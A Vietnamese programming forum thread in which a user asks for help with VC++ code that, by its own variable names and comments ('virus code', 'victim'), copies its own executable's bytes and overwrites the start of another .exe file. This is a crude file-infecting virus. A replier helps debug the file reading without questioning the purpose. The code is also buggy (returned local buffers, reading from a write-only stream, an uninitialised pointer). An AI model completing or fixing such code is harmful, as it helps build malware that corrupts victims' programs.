Từ 1 tới 5 trên tổng số 5 kết quả

Đề tài: Viết lại hàm copy file exe trong lập trình VC++?

  1. #1
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Mặc định Viết lại hàm copy file exe trong lập trình VC++?

    đang nghịch mấy thứ của hệ thống nên phải tập viết lại mấy hàm hệ thống coi,vậy mà gặp lỗi loạn xạ,hihi,anh em giúp đỡ nhé
    nói qua loa thế này
    đầu tiên mình muốn copy 1 file đang chạy(cái code này đó) đến 1 nơi cho trước,mình mở file nhị phân của file đang chạy ra,híc híc,không mở được file nhị phân của nó vì nó đang chạy,nên dùng hàm copyfile mất rùi,nhưng h mình mở file được copy ra ở D:\\s.exe mà sao nó hoàn toàn trống rỗng,không biết phải trị nó thế nào đây
    Visual C++ Code:
    1. #include "iostream"
    2. #include "windows.h"
    3. #include "fstream.h"
    4. #include "string.h"
    5. const long MaxFileSize = 163876;
    6.  
    7. typedef DWORD (_stdcall *FuncPrototype1)(HANDLE hProcess,HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
    8. char *tenvirus()
    9. {
    10.     char MyFileName[1000];
    11.     HMODULE hmod = LoadLibrary("psapi.dll");
    12.     FuncPrototype1 GetModuleFileNameEx = (FuncPrototype1)GetProcAddress(hmod,"GetModuleFileNameExA");
    13.     GetModuleFileNameEx(GetCurrentProcess(),NULL,MyFileName,1000);
    14.     FreeLibrary(hmod);
    15.     return MyFileName;
    16. }
    17. int kiemtravirus(char mavirus[5000],char manannhan[5000])
    18. {
    19.     int i;
    20.     for( i=0;i<=5000;i++)
    21.     {
    22.         if(mavirus[i]!=manannhan[i])
    23.             return 0;
    24.     }
    25.     return 1;
    26. }
    27.  
    28.  
    29. char *layma(void)
    30. {
    31.     fstream file;
    32.     char dulieu[5000];
    33.     CopyFile(tenvirus(),"c:\\test.exe",false);
    34.     file.open("c:\\test.exe",ios::binary|ios::in);
    35.     if(!file)
    36.     {
    37.         MessageBox(0,"khong mo duoc file virus","loi roi",0);
    38.         return 0;
    39.     }
    40.     file.read(dulieu,5000);
    41.     return dulieu;
    42.     file.close();
    43. }
    44.  
    45.  
    46. //ham ghi vao file
    47. void ghifile(char *tenfilenannhan)
    48. {
    49.     char mavirus[5000];
    50.     char manannhan[5000];
    51.     fstream file;
    52.     file.open(tenfilenannhan,ios::binary|ios::out);
    53.     if (!file)
    54.     {
    55.         MessageBox(0,"khong mo duoc file ghi","loi",0);
    56.         return;
    57.     }
    58.     file.read(manannhan,5000);
    59.     lstrcpy(mavirus,layma());
    60.     if (kiemtravirus(mavirus,manannhan)!=0)
    61.     {
    62.         MessageBox(0,"khong mo duoc file D:\\s.exe","loi",0);
    63.         return;
    64.     }
    65.     file.seekp(0,ios::beg);
    66.     file.write(mavirus,5000);//dua ma virus vao ma cua file exe
    67.     file.close();
    68. }
    69. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
    70. {
    71.     ghifile("D:\\s.exe");
    72.     return 0;
    73.  
    74. }

  2. #2
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Trong hàm layma bạn đã copy vào trong "c:\test.exe" rồi mà. Sao lại mất công đọc nhị phân thế nhỉ ?
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  3. #3
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    không,ý mình ban đầu là thế này nhé: mình muốn copy 1 mã ( nhị phân ) của 1 file đang chạy sang 1 file khác ( cũng là file exe ) ( để làm 1 vài điều,đừng ai chê cười là đi mua việc nha)
    có điều mình không thể mở được file nhị phân của 1 file đang chạy nên mình phải copy nó ra chỗ khác để mở file nhị phân,không rõ là người ta làm thế nào mà có thể lấy được mã nhị phân của 1 file đang chạy
    1 điều nữa là nếu mình dùng hàm read hay write thì số mã nhị phân đọc được thấp quá,chỉ tầm khoảng 60000 thôi,thế này thì e không thể copy toàn bộ nội dung nhị phân của 1 file exe,không biết ai có cách nào giải quyết 2 vấn đề này không

  4. #4
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Mình ko hiểu lắm : một khi file đã bị lock thì lệnh copy cũng ko thể thực hiện được, nếu bệnh copy thực hiện được tức là vẫn còn có thể đọc được file, vậy tại sao bạn bảo là ko đọc được ? Vả lại hàm read đâu có giới hạn kích thước buffer, lớn cỡ nào miễn là còn đủ bộ nhớ là nó đọc tuốt mà.
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  5. #5
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Mặc định Code viết lại hàm copy file exe

    híc híc,vậy làm sao mà khắc phục được cái lỗi thiếu bộ nhớ bây h nhỉ,trên VC++ thì 10000 là hàm read đã died mất rôi,cfree thì khá hơn tý đến tận 10000000000
    Visual C++ Code:
    1. #include<iostream.h>
    2. #include<fstream.h>
    3. #include<windows.h>
    4. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
    5. {
    6.     fstream file;
    7.     char chuoi[1000];
    8.     file.open("C:\\s.exe",ios::binary|ios::in);
    9.     if(!file)
    10.     {
    11.         MessageBox(0,"loi ko file doc","loi",0);
    12.         return 0;
    13.     }
    14.     fstream file2;
    15.     file2.open("D:\\p.exe",ios::binary|ios::out);
    16.     if(!file2)
    17.     {
    18.         MessageBox(0,"loi ko file ghi","loi",0);
    19.         return 0;
    20.     }
    21.     file.read(chuoi,10000);
    22.     file2.write(chuoi,10000);
    23.     file.close();
    24.     file2.close();
    25.     return 0;
    26. }


    Mình ko hiểu lắm : một khi file đã bị lock thì lệnh copy cũng ko thể thực hiện được, nếu bệnh copy thực hiện được tức là vẫn còn có thể đọc được file,
    còn đây là cái 1VD về việc mình định mở file đang chạy ( mở chính nó) khi đang chạy thì không được,híc híc

    Visual C++ Code:
    1. #include<iostream.h>
    2. #include<fstream.h>
    3. #include<windows.h>
    4. const long MaxFileSize = 163876;
    5.  
    6. typedef DWORD (_stdcall *FuncPrototype1)(HANDLE hProcess,HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
    7. char *tenvirus()
    8. {
    9.     char MyFileName[1000];
    10.     HMODULE hmod = LoadLibrary("psapi.dll");
    11.     FuncPrototype1 GetModuleFileNameEx = (FuncPrototype1)GetProcAddress(hmod,"GetModuleFileNameExA");
    12.     GetModuleFileNameEx(GetCurrentProcess(),NULL,MyFileName,1000);
    13.     FreeLibrary(hmod);
    14.     return MyFileName;
    15. }
    16. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
    17. {
    18.     fstream file;
    19.     char *chuoi;
    20.     file.open(tenvirus(),ios::binary|ios::in);
    21.     if(!file)
    22.     {
    23.         MessageBox(0,"khong mo duoc file doc","loi roi",0);
    24.         return 0;
    25.     }
    26.     fstream file2;
    27.     file2.open("D:\\p.exe",ios::binary|ios::out);
    28.     if(!file2)
    29.     {
    30.          MessageBox(0,"khong mo duoc file ghi","loi roi",0);
    31.         return 0;
    32.     }
    33.     file.read(chuoi,1000);
    34.     file2.write(chuoi,1000);
    35.     file.close();
    36.     file2.close();
    37. }
    dịch trên VC++6

Các đề tài tương tự

  1. thắc mắc về copy file và kiểm tra tiến trình copy
    Gửi bởi RoboWonder trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 13
    Bài viết cuối: 27-03-2016, 07:15 PM
  2. ADO.NET Hàm Copy file trong c#,copy thiếu dữ liệu
    Gửi bởi gatrongpro trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 0
    Bài viết cuối: 08-12-2013, 09:40 PM
  3. [Hỏi] Copy thiếu khi copy nhiều file
    Gửi bởi toi_loi_acon trong diễn đàn Nhập môn lập trình C#, ASP.NET
    Trả lời: 0
    Bài viết cuối: 10-07-2012, 11:02 AM
  4. Chống copy bài viết của website trong Lập trình ASP.NET?
    Gửi bởi tophits trong diễn đàn Thắc mắc lập trình ASP.NET
    Trả lời: 2
    Bài viết cuối: 14-09-2011, 10:54 AM
  5. Viết code copy file trên C như thế nào?
    Gửi bởi 12350 trong diễn đàn Nhập môn lập trình C/C++
    Trả lời: 1
    Bài viết cuối: 04-10-2010, 12:59 AM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn